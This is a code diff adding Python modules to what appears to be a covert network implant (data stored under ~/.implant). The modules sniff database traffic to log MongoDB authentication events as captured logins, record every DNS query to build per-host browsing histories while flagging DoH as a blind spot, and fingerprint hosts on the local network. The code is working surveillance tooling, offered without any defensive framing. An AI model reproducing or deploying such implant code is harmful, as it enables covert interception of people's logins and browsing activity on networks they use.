||||
|
||||
def _parse_mongodb(self, payload: bytes, src_ip: str, dst_ip: str,
|
||||
is_to_server: bool, ts: float) -> None:
|
||||
"""Parse MongoDB wire protocol for auth and find operations."""
|
||||
if len(payload) < 16:
|
||||
return
|
||||
|
||||
# MongoDB wire protocol header: length(4 LE) + requestID(4) + responseTo(4) + opCode(4)
|
||||
msg_len = struct.unpack("<I", payload[0:4])[0]
|
||||
opcode = struct.unpack("<I", payload[12:16])[0]
|
||||
|
||||
if opcode != MONGO_OP_MSG or len(payload) < 21:
|
||||
return
|
||||
|
||||
if not is_to_server:
|
||||
return
|
||||
|
||||
# OP_MSG: flagBits(4) + sections
|
||||
# Section kind 0: body (BSON document)
|
||||
sections_start = 20
|
||||
if sections_start >= len(payload):
|
||||
return
|
||||
|
||||
section_kind = payload[sections_start]
|
||||
if section_kind != 0:
|
||||
return
|
||||
|
||||
bson_data = payload[sections_start + 1:]
|
||||
if len(bson_data) < 5:
|
||||
return
|
||||
|
||||
# Minimal BSON parsing: look for command keys
|
||||
bson_str = bson_data.decode("utf-8", errors="replace")
|
||||
|
||||
if "saslStart" in bson_str or "authenticate" in bson_str:
|
||||
self._stats["mongodb_events"] += 1
|
||||
self._stats["logins_captured"] += 1
|
||||
# Extract mechanism if visible
|
||||
mechanism = ""
|
||||
if "SCRAM-SHA" in bson_str:
|
||||
mechanism = "SCRAM-SHA"
|
||||
elif "PLAIN" in bson_str:
|
||||
mechanism = "PLAIN"
|
||||
self._record_query(
|
||||
ts, src_ip, dst_ip, "mongodb", "", "",
|
||||
f"AUTH mechanism={mechanism}", "login"
|
||||
)
|
||||
|
||||
elif "find" in bson_str or "aggregate" in bson_str or "insert" in bson_str:
|
||||
# Extract collection name heuristically
|
||||
operation = "find" if "find" in bson_str else ("aggregate" if "aggregate" in bson_str else "insert")
|
||||
self._stats["mongodb_events"] += 1
|
||||
self._stats["queries_captured"] += 1
|
||||
self._record_query(
|
||||
ts, src_ip, dst_ip, "mongodb", "", "",
|
||||
f"{operation} (BSON)", "query"
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Database
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _resolve_db_path(self) -> str:
|
||||
base = self.config.get("db_dir", os.path.join(
|
||||
os.path.expanduser("~"), ".implant"
|
||||
))
|
||||
return os.path.join(base, "db_interceptor.db")
|
||||
|
||||
def _init_db(self) -> None:
|
||||
Path(self._db_path).parent.mkdir(parents=True, exist_ok=True)
|
||||
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._db_conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._db_conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._db_conn.executescript(_DB_INIT)
|
||||
self._db_conn.commit()
|
||||
|
||||
def _record_query(self, ts: float, src_ip: str, dst_ip: str,
|
||||
db_type: str, username: str, database: str,
|
||||
query_text: str, operation: str) -> None:
|
||||
with self._buffer_lock:
|
||||
self._write_buffer.append((
|
||||
ts, src_ip, dst_ip, db_type, username, database,
|
||||
query_text[:MAX_QUERY_LEN], operation
|
||||
))
|
||||
|
||||
def _flush_buffer(self) -> None:
|
||||
with self._buffer_lock:
|
||||
batch = list(self._write_buffer)
|
||||
self._write_buffer.clear()
|
||||
|
||||
if not batch or not self._db_conn:
|
||||
return
|
||||
|
||||
try:
|
||||
with self._db_conn:
|
||||
self._db_conn.executemany(
|
||||
"""INSERT INTO db_queries
|
||||
(timestamp, source_ip, dest_ip, db_type, username,
|
||||
database, query_text, operation)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?)""",
|
||||
batch,
|
||||
)
|
||||
except Exception:
|
||||
logger.exception("Failed to flush DB queries")
|
||||
|
||||
def _flush_loop(self) -> None:
|
||||
while self._running:
|
||||
time.sleep(FLUSH_INTERVAL)
|
||||
try:
|
||||
self._flush_buffer()
|
||||
except Exception:
|
||||
logger.exception("Flush loop error")
|
||||
@@ -0,0 +1,401 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Passive DNS query logger — builds per-host browsing history from wire.
|
||||
|
||||
Subscribes to capture_bus with BPF "port 53". Parses DNS query/response
|
||||
packets using struct (no scapy dependency). Buffers records and batch-flushes
|
||||
to SQLite every 60 seconds or 1000 records.
|
||||
|
||||
Also flags DoH connections to known resolvers on port 443 as DNS blind spots.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import socket
|
||||
import sqlite3
|
||||
import struct
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Well-known DoH resolver IPs
|
||||
DOH_RESOLVERS = frozenset([
|
||||
"1.1.1.1", "1.0.0.1", # Cloudflare
|
||||
"8.8.8.8", "8.8.4.4", # Google
|
||||
"9.9.9.9", "149.112.112.112", # Quad9
|
||||
"208.67.222.222", "208.67.220.220", # OpenDNS
|
||||
])
|
||||
|
||||
# DNS query type map
|
||||
QTYPES = {
|
||||
1: "A", 2: "NS", 5: "CNAME", 6: "SOA", 12: "PTR",
|
||||
15: "MX", 16: "TXT", 28: "AAAA", 33: "SRV", 35: "NAPTR",
|
||||
43: "DS", 46: "RRSIG", 47: "NSEC", 48: "DNSKEY",
|
||||
52: "TLSA", 65: "HTTPS", 257: "CAA", 255: "ANY",
|
||||
}
|
||||
|
||||
|
||||
class DNSLogger(BaseModule):
|
||||
"""Log all DNS queries and responses per source IP."""
|
||||
|
||||
name = "dns_logger"
|
||||
module_type = "passive"
|
||||
priority = 100
|
||||
requires_root = True
|
||||
requires_capture_bus = True
|
||||
|
||||
BATCH_SIZE = 1000
|
||||
FLUSH_INTERVAL = 60 # seconds
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._capture_bus = None
|
||||
self._sub_queue = None
|
||||
self._reader_thread: Optional[threading.Thread] = None
|
||||
self._flusher_thread: Optional[threading.Thread] = None
|
||||
self._buffer = []
|
||||
self._buffer_lock = threading.Lock()
|
||||
self._db_path = ""
|
||||
self._db_conn: Optional[sqlite3.Connection] = None
|
||||
self._total_queries = 0
|
||||
self._doh_detections = 0
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._capture_bus = self.config.get("capture_bus")
|
||||
if not self._capture_bus:
|
||||
logger.error("DNSLogger requires capture_bus in config")
|
||||
return
|
||||
|
||||
# Database setup
|
||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||
self._db_path = os.path.join(base_dir, "dns_queries.db")
|
||||
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
||||
self._init_db()
|
||||
|
||||
# Subscribe to capture bus for DNS traffic
|
||||
self._sub_queue = self._capture_bus.subscribe(
|
||||
name=self.name, bpf_filter="port 53", queue_depth=10000
|
||||
)
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
# Packet reader thread
|
||||
self._reader_thread = threading.Thread(
|
||||
target=self._read_packets, daemon=True, name="sensor-dns-reader"
|
||||
)
|
||||
self._reader_thread.start()
|
||||
|
||||
# Periodic flusher thread
|
||||
self._flusher_thread = threading.Thread(
|
||||
target=self._flush_loop, daemon=True, name="sensor-dns-flusher"
|
||||
)
|
||||
self._flusher_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
logger.info("DNSLogger started — listening for DNS on port 53")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
# Unsubscribe from capture bus
|
||||
if self._capture_bus:
|
||||
self._capture_bus.unsubscribe(self.name)
|
||||
|
||||
# Final flush
|
||||
self._flush_buffer()
|
||||
|
||||
if self._db_conn:
|
||||
self._db_conn.close()
|
||||
self._db_conn = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("DNSLogger stopped — %d total queries logged", self._total_queries)
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"total_queries": self._total_queries,
|
||||
"doh_detections": self._doh_detections,
|
||||
"buffer_size": len(self._buffer),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Database
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _init_db(self) -> None:
|
||||
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._db_conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._db_conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._db_conn.executescript("""
|
||||
CREATE TABLE IF NOT EXISTS dns_queries (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
timestamp REAL NOT NULL,
|
||||
source_ip TEXT NOT NULL,
|
||||
domain TEXT NOT NULL,
|
||||
query_type TEXT,
|
||||
response_ips TEXT,
|
||||
ttl INTEGER,
|
||||
is_doh INTEGER DEFAULT 0
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS idx_dns_source ON dns_queries(source_ip);
|
||||
CREATE INDEX IF NOT EXISTS idx_dns_domain ON dns_queries(domain);
|
||||
CREATE INDEX IF NOT EXISTS idx_dns_ts ON dns_queries(timestamp);
|
||||
""")
|
||||
self._db_conn.commit()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Packet reader
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _read_packets(self) -> None:
|
||||
"""Pull packets from capture bus queue and parse DNS."""
|
||||
while self._running:
|
||||
result = self._sub_queue.get(timeout=1.0)
|
||||
if result is None:
|
||||
continue
|
||||
|
||||
ts, raw_packet = result
|
||||
try:
|
||||
self._parse_packet(ts, raw_packet)
|
||||
except Exception:
|
||||
pass # Malformed packets are silently dropped
|
||||
|
||||
def _parse_packet(self, ts: float, raw: bytes) -> None:
|
||||
"""Parse an Ethernet frame containing a DNS packet."""
|
||||
if len(raw) < 14:
|
||||
return
|
||||
|
||||
# Ethernet header
|
||||
eth_type = struct.unpack("!H", raw[12:14])[0]
|
||||
if eth_type == 0x8100: # 802.1Q VLAN
|
||||
if len(raw) < 18:
|
||||
return
|
||||
eth_type = struct.unpack("!H", raw[16:18])[0]
|
||||
ip_offset = 18
|
||||
else:
|
||||
ip_offset = 14
|
||||
|
||||
if eth_type != 0x0800: # IPv4 only
|
||||
return
|
||||
|
||||
if len(raw) < ip_offset + 20:
|
||||
return
|
||||
|
||||
# IPv4 header
|
||||
ip_header = raw[ip_offset:]
|
||||
ihl = (ip_header[0] & 0x0F) * 4
|
||||
ip_proto = ip_header[9]
|
||||
src_ip = socket.inet_ntoa(ip_header[12:16])
|
||||
dst_ip = socket.inet_ntoa(ip_header[16:20])
|
||||
|
||||
# UDP (17) or TCP (6) transport
|
||||
transport_offset = ip_offset + ihl
|
||||
|
||||
if ip_proto == 17: # UDP
|
||||
if len(raw) < transport_offset + 8:
|
||||
return
|
||||
src_port, dst_port = struct.unpack("!HH", raw[transport_offset:transport_offset + 4])
|
||||
dns_offset = transport_offset + 8
|
||||
|
||||
# Check for DoH: known resolvers on port 443
|
||||
if dst_port == 443 and dst_ip in DOH_RESOLVERS:
|
||||
self._doh_detections += 1
|
||||
record = (ts, src_ip, f"[DoH:{dst_ip}]", "DoH", "", 0, 1)
|
||||
with self._buffer_lock:
|
||||
self._buffer.append(record)
|
||||
if len(self._buffer) >= self.BATCH_SIZE:
|
||||
self._flush_buffer()
|
||||
return
|
||||
|
||||
if src_port != 53 and dst_port != 53:
|
||||
return
|
||||
|
||||
elif ip_proto == 6: # TCP DNS (rare, used for large responses)
|
||||
if len(raw) < transport_offset + 20:
|
||||
return
|
||||
src_port, dst_port = struct.unpack("!HH", raw[transport_offset:transport_offset + 4])
|
||||
if src_port != 53 and dst_port != 53:
|
||||
return
|
||||
tcp_header_len = ((raw[transport_offset + 12] >> 4) & 0xF) * 4
|
||||
dns_offset = transport_offset + tcp_header_len
|
||||
# TCP DNS has 2-byte length prefix
|
||||
if len(raw) < dns_offset + 2:
|
||||
return
|
||||
dns_offset += 2
|
||||
else:
|
||||
return
|
||||
|
||||
# Parse DNS payload
|
||||
dns_data = raw[dns_offset:]
|
||||
if len(dns_data) < 12:
|
||||
return
|
||||
|
||||
self._parse_dns(ts, src_ip, dst_ip, src_port, dst_port, dns_data)
|
||||
|
||||
def _parse_dns(self, ts: float, src_ip: str, dst_ip: str,
|
||||
src_port: int, dst_port: int, data: bytes) -> None:
|
||||
"""Parse DNS header + question/answer sections."""
|
||||
# DNS header: ID(2) FLAGS(2) QDCOUNT(2) ANCOUNT(2) NSCOUNT(2) ARCOUNT(2)
|
||||
txid, flags, qdcount, ancount, nscount, arcount = struct.unpack(
|
||||
"!HHHHHH", data[:12]
|
||||
)
|
||||
is_response = bool(flags & 0x8000)
|
||||
offset = 12
|
||||
|
||||
# Parse questions
|
||||
domains = []
|
||||
query_types = []
|
||||
for _ in range(qdcount):
|
||||
domain, offset = self._read_name(data, offset)
|
||||
if offset + 4 > len(data):
|
||||
return
|
||||
qtype, qclass = struct.unpack("!HH", data[offset:offset + 4])
|
||||
offset += 4
|
||||
if domain:
|
||||
domains.append(domain)
|
||||
query_types.append(QTYPES.get(qtype, str(qtype)))
|
||||
|
||||
# Parse answers (responses only)
|
||||
response_ips = []
|
||||
min_ttl = 0
|
||||
if is_response:
|
||||
for _ in range(ancount):
|
||||
if offset >= len(data):
|
||||
break
|
||||
_name, offset = self._read_name(data, offset)
|
||||
if offset + 10 > len(data):
|
||||
break
|
||||
rtype, _rclass, ttl, rdlength = struct.unpack(
|
||||
"!HHIH", data[offset:offset + 10]
|
||||
)
|
||||
offset += 10
|
||||
if offset + rdlength > len(data):
|
||||
break
|
||||
|
||||
if rtype == 1 and rdlength == 4: # A record
|
||||
ip = socket.inet_ntoa(data[offset:offset + 4])
|
||||
response_ips.append(ip)
|
||||
elif rtype == 28 and rdlength == 16: # AAAA record
|
||||
try:
|
||||
ip = socket.inet_ntop(socket.AF_INET6, data[offset:offset + 16])
|
||||
response_ips.append(ip)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if ttl > 0:
|
||||
min_ttl = ttl if min_ttl == 0 else min(min_ttl, ttl)
|
||||
|
||||
offset += rdlength
|
||||
|
||||
# Build records for each queried domain
|
||||
# For queries: source_ip is the querier
|
||||
# For responses: dst_ip is the querier (source is the DNS server)
|
||||
querier_ip = src_ip if not is_response else dst_ip
|
||||
|
||||
for i, domain in enumerate(domains):
|
||||
if not domain or domain == ".":
|
||||
continue
|
||||
qtype = query_types[i] if i < len(query_types) else ""
|
||||
resp_str = ",".join(response_ips) if response_ips else ""
|
||||
|
||||
record = (ts, querier_ip, domain, qtype, resp_str, min_ttl, 0)
|
||||
self._total_queries += 1
|
||||
|
||||
with self._buffer_lock:
|
||||
self._buffer.append(record)
|
||||
if len(self._buffer) >= self.BATCH_SIZE:
|
||||
self._flush_buffer()
|
||||
|
||||
@staticmethod
|
||||
def _read_name(data: bytes, offset: int, max_jumps: int = 10) -> tuple:
|
||||
"""Read a DNS name with pointer compression. Returns (name, new_offset)."""
|
||||
parts = []
|
||||
jumped = False
|
||||
saved_offset = offset
|
||||
jumps = 0
|
||||
|
||||
while offset < len(data):
|
||||
length = data[offset]
|
||||
|
||||
if length == 0:
|
||||
offset += 1
|
||||
break
|
||||
|
||||
if (length & 0xC0) == 0xC0:
|
||||
# Pointer
|
||||
if offset + 1 >= len(data):
|
||||
break
|
||||
ptr = struct.unpack("!H", data[offset:offset + 2])[0] & 0x3FFF
|
||||
if not jumped:
|
||||
saved_offset = offset + 2
|
||||
jumped = True
|
||||
offset = ptr
|
||||
jumps += 1
|
||||
if jumps > max_jumps:
|
||||
break
|
||||
continue
|
||||
|
||||
offset += 1
|
||||
if offset + length > len(data):
|
||||
break
|
||||
try:
|
||||
parts.append(data[offset:offset + length].decode("utf-8", errors="replace"))
|
||||
except Exception:
|
||||
parts.append("?")
|
||||
offset += length
|
||||
|
||||
name = ".".join(parts) if parts else ""
|
||||
return (name, saved_offset if jumped else offset)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Buffer flush
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _flush_loop(self) -> None:
|
||||
"""Periodically flush DNS record buffer to SQLite."""
|
||||
while self._running:
|
||||
time.sleep(self.FLUSH_INTERVAL)
|
||||
try:
|
||||
self._flush_buffer()
|
||||
except Exception:
|
||||
logger.exception("DNS flush error")
|
||||
|
||||
def _flush_buffer(self) -> None:
|
||||
"""Write buffered DNS records to SQLite."""
|
||||
with self._buffer_lock:
|
||||
batch = list(self._buffer)
|
||||
self._buffer.clear()
|
||||
|
||||
if not batch or not self._db_conn:
|
||||
return
|
||||
|
||||
try:
|
||||
self._db_conn.executemany(
|
||||
"INSERT INTO dns_queries (timestamp, source_ip, domain, query_type, response_ips, ttl, is_doh) "
|
||||
"VALUES (?, ?, ?, ?, ?, ?, ?)",
|
||||
batch,
|
||||
)
|
||||
self._db_conn.commit()
|
||||
except Exception:
|
||||
logger.exception("Failed to flush %d DNS records", len(batch))
|
||||
@@ -0,0 +1,689 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Passive host discovery via broadcast/multicast protocol observation.
|
||||
|
||||
Parses:
|
||||
- ARP requests/replies (IP-MAC mapping)
|
||||
- DHCP request/ACK (hostname, vendor class, option 55 fingerprinting)
|
||||
- mDNS/Bonjour (hostnames, services)
|
||||
- NetBIOS name queries (NBNS port 137)
|
||||
- SSDP/UPnP announcements (port 1900)
|
||||
- LLMNR queries (port 5355)
|
||||
|
||||
Publishes HOST_DISCOVERED events. Correlates multiple signals per host
|
||||
for IP + MAC + hostname + vendor (OUI) + OS guess.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import socket
|
||||
import sqlite3
|
||||
import struct
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class HostDiscovery(BaseModule):
|
||||
"""Build host inventory from passive network observation."""
|
||||
|
||||
name = "host_discovery"
|
||||
module_type = "passive"
|
||||
priority = 100
|
||||
requires_root = True
|
||||
requires_capture_bus = True
|
||||
|
||||
BATCH_SIZE = 200
|
||||
FLUSH_INTERVAL = 60
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._capture_bus = None
|
||||
self._sub_queue = None
|
||||
self._reader_thread: Optional[threading.Thread] = None
|
||||
self._flusher_thread: Optional[threading.Thread] = None
|
||||
# In-memory host table: ip -> host_info dict
|
||||
self._hosts = {}
|
||||
self._hosts_lock = threading.Lock()
|
||||
self._pending_updates = []
|
||||
self._update_lock = threading.Lock()
|
||||
self._db_path = ""
|
||||
self._db_conn: Optional[sqlite3.Connection] = None
|
||||
self._total_hosts = 0
|
||||
# OUI lookup cache: first 3 bytes hex -> vendor
|
||||
self._oui_cache = {}
|
||||
# DHCP fingerprint cache: option55 -> os_guess
|
||||
self._dhcp_fp_cache = {}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._capture_bus = self.config.get("capture_bus")
|
||||
if not self._capture_bus:
|
||||
logger.error("HostDiscovery requires capture_bus in config")
|
||||
return
|
||||
|
||||
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
||||
self._db_path = os.path.join(base_dir, "hosts.db")
|
||||
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
||||
self._init_db()
|
||||
|
||||
# Load OUI database
|
||||
oui_path = self.config.get("oui_db", "")
|
||||
if oui_path and os.path.isfile(oui_path):
|
||||
self._load_oui_db(oui_path)
|
||||
|
||||
# Load DHCP fingerprint database
|
||||
dhcp_fp_path = self.config.get("dhcp_fingerprints_db", "")
|
||||
if dhcp_fp_path and os.path.isfile(dhcp_fp_path):
|
||||
self._load_dhcp_fingerprints(dhcp_fp_path)
|
||||
|
||||
# Load BPF filter
|
||||
bpf_path = self.config.get("bpf_filter_path", "")
|
||||
bpf_filter = ""
|
||||
if bpf_path and os.path.isfile(bpf_path):
|
||||
with open(bpf_path) as f:
|
||||
lines = [l.strip() for l in f if l.strip() and not l.startswith("#")]
|
||||
bpf_filter = " ".join(lines)
|
||||
if not bpf_filter:
|
||||
bpf_filter = "arp or port 67 or port 68 or port 5353 or port 1900 or port 5355 or port 137 or port 138"
|
||||
|
||||
self._sub_queue = self._capture_bus.subscribe(
|
||||
name=self.name, bpf_filter=bpf_filter, queue_depth=10000
|
||||
)
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self._reader_thread = threading.Thread(
|
||||
target=self._read_packets, daemon=True, name="sensor-hostdisc-reader"
|
||||
)
|
||||
self._reader_thread.start()
|
||||
|
||||
self._flusher_thread = threading.Thread(
|
||||
target=self._flush_loop, daemon=True, name="sensor-hostdisc-flusher"
|
||||
)
|
||||
self._flusher_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
logger.info("HostDiscovery started")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
if self._capture_bus:
|
||||
self._capture_bus.unsubscribe(self.name)
|
||||
|
||||
self._flush_hosts()
|
||||
if self._db_conn:
|
||||
self._db_conn.close()
|
||||
self._db_conn = None
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("HostDiscovery stopped — %d hosts discovered", self._total_hosts)
|
||||
|
||||
def status(self) -> dict:
|
||||
with self._hosts_lock:
|
||||
host_count = len(self._hosts)
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"total_hosts": host_count,
|
||||
"oui_entries": len(self._oui_cache),
|
||||
"dhcp_fingerprints": len(self._dhcp_fp_cache),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Database
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _init_db(self) -> None:
|
||||
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
||||
self._db_conn.execute("PRAGMA journal_mode=WAL")
|
||||
self._db_conn.execute("PRAGMA synchronous=NORMAL")
|
||||
self._db_conn.executescript("""
|
||||
CREATE TABLE IF NOT EXISTS hosts (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
ip TEXT NOT NULL,
|
||||
mac TEXT,
|
||||
hostname TEXT,
|
||||
vendor TEXT,
|
||||
os_guess TEXT,
|
||||
dhcp_fingerprint TEXT,
|
||||
first_seen REAL NOT NULL,
|
||||
last_seen REAL NOT NULL,
|
||||
source TEXT
|
||||
);
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS idx_host_ip ON hosts(ip);
|
||||
CREATE INDEX IF NOT EXISTS idx_host_mac ON hosts(mac);
|
||||
CREATE INDEX IF NOT EXISTS idx_host_hostname ON hosts(hostname);
|
||||
""")
|
||||
self._db_conn.commit()
|
||||
|
||||
def _load_oui_db(self, path: str) -> None:
|
||||
"""Load OUI vendor database. Expected format: 'AA:BB:CC<tab>Vendor Name' per line."""
|
||||
try:
|
||||
conn = sqlite3.connect(path)
|
||||
rows = conn.execute("SELECT oui, vendor FROM oui").fetchall()
|
||||
for oui, vendor in rows:
|
||||
self._oui_cache[oui.upper().replace(":", "").replace("-", "")] = vendor
|
||||
conn.close()
|
||||
logger.info("Loaded %d OUI entries", len(self._oui_cache))
|
||||
except Exception:
|
||||
# Try plain text format
|
||||
try:
|
||||
with open(path) as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line.startswith("#"):
|
||||
continue
|
||||
parts = line.split("\t", 1)
|
||||
if len(parts) == 2:
|
||||
oui = parts[0].upper().replace(":", "").replace("-", "")
|
||||
self._oui_cache[oui] = parts[1]
|
||||
logger.info("Loaded %d OUI entries from text", len(self._oui_cache))
|
||||
except Exception:
|
||||
logger.warning("Failed to load OUI database from %s", path)
|
||||
|
||||
def _load_dhcp_fingerprints(self, path: str) -> None:
|
||||
"""Load DHCP option 55 fingerprint database."""
|
||||
try:
|
||||
conn = sqlite3.connect(path)
|
||||
rows = conn.execute("SELECT fingerprint, os_name FROM fingerprints").fetchall()
|
||||
for fp, os_name in rows:
|
||||
self._dhcp_fp_cache[fp] = os_name
|
||||
conn.close()
|
||||
logger.info("Loaded %d DHCP fingerprints", len(self._dhcp_fp_cache))
|
||||
except Exception:
|
||||
try:
|
||||
with open(path) as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line.startswith("#"):
|
||||
continue
|
||||
parts = line.split("\t", 1)
|
||||
if len(parts) == 2:
|
||||
self._dhcp_fp_cache[parts[0]] = parts[1]
|
||||
logger.info("Loaded %d DHCP fingerprints from text", len(self._dhcp_fp_cache))
|
||||
except Exception:
|
||||
logger.warning("Failed to load DHCP fingerprints from %s", path)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# OUI lookup
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _lookup_oui(self, mac: str) -> str:
|
||||
"""Look up vendor from MAC address OUI (first 3 octets)."""
|
||||
oui = mac.upper().replace(":", "").replace("-", "")[:6]
|
||||
return self._oui_cache.get(oui, "")
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Host update
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _update_host(self, ts: float, ip: str, mac: str = "", hostname: str = "",
|
||||
vendor: str = "", os_guess: str = "",
|
||||
dhcp_fingerprint: str = "", source: str = "") -> None:
|
||||
"""Update or create host entry. Merges new data with existing."""
|
||||
if not ip or ip == "0.0.0.0" or ip.startswith("255."):
|
||||
return
|
||||
|
||||
is_new = False
|
||||
with self._hosts_lock:
|
||||
if ip not in self._hosts:
|
||||
self._hosts[ip] = {
|
||||
"ip": ip, "mac": "", "hostname": "", "vendor": "",
|
||||
"os_guess": "", "dhcp_fingerprint": "",
|
||||
"first_seen": ts, "last_seen": ts, "source": source,
|
||||
}
|
||||
is_new = True
|
||||
|
||||
host = self._hosts[ip]
|
||||
host["last_seen"] = ts
|
||||
|
||||
if mac and not host["mac"]:
|
||||
host["mac"] = mac
|
||||
if not vendor:
|
||||
vendor = self._lookup_oui(mac)
|
||||
if hostname and not host["hostname"]:
|
||||
host["hostname"] = hostname
|
||||
if vendor and not host["vendor"]:
|
||||
host["vendor"] = vendor
|
||||
if os_guess and not host["os_guess"]:
|
||||
host["os_guess"] = os_guess
|
||||
if dhcp_fingerprint and not host["dhcp_fingerprint"]:
|
||||
host["dhcp_fingerprint"] = dhcp_fingerprint
|
||||
if source:
|
||||
existing = host.get("source", "")
|
||||
if source not in existing:
|
||||
host["source"] = f"{existing},{source}" if existing else source
|
||||
|
||||
if is_new:
|
||||
self._total_hosts += 1
|
||||
self.bus.emit("HOST_DISCOVERED", {
|
||||
"ip": ip, "mac": mac, "hostname": hostname,
|
||||
"vendor": vendor, "source": source,
|
||||
}, source_module=self.name)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Packet reader
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _read_packets(self) -> None:
|
||||
while self._running:
|
||||
result = self._sub_queue.get(timeout=1.0)
|
||||
if result is None:
|
||||
continue
|
||||
ts, raw_packet = result
|
||||
try:
|
||||
self._parse_packet(ts, raw_packet)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _parse_packet(self, ts: float, raw: bytes) -> None:
|
||||
"""Route packet to appropriate protocol parser."""
|
||||
if len(raw) < 14:
|
||||
return
|
||||
|
||||
eth_type = struct.unpack("!H", raw[12:14])[0]
|
||||
src_mac = ":".join(f"{b:02x}" for b in raw[6:12])
|
||||
|
||||
if eth_type == 0x0806: # ARP
|
||||
self._parse_arp(ts, raw, src_mac)
|
||||
return
|
||||
|
||||
ip_offset = 14
|
||||
if eth_type == 0x8100: # VLAN
|
||||
if len(raw) < 18:
|
||||
return
|
||||
eth_type = struct.unpack("!H", raw[16:18])[0]
|
||||
ip_offset = 18
|
||||
|
||||
if eth_type != 0x0800:
|
||||
return
|
||||
|
||||
if len(raw) < ip_offset + 20:
|
||||
return
|
||||
|
||||
ip_hdr = raw[ip_offset:]
|
||||
ihl = (ip_hdr[0] & 0x0F) * 4
|
||||
ip_proto = ip_hdr[9]
|
||||
src_ip = socket.inet_ntoa(ip_hdr[12:16])
|
||||
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
|
||||
|
||||
if ip_proto == 17: # UDP
|
||||
udp_offset = ip_offset + ihl
|
||||
if len(raw) < udp_offset + 8:
|
||||
return
|
||||
src_port, dst_port = struct.unpack("!HH", raw[udp_offset:udp_offset + 4])
|
||||
payload = raw[udp_offset + 8:]
|
||||
|
||||
if dst_port == 67 or dst_port == 68:
|
||||
self._parse_dhcp(ts, payload, src_mac)
|
||||
elif dst_port == 5353 or src_port == 5353:
|
||||
self._parse_mdns(ts, src_ip, src_mac, payload)
|
||||
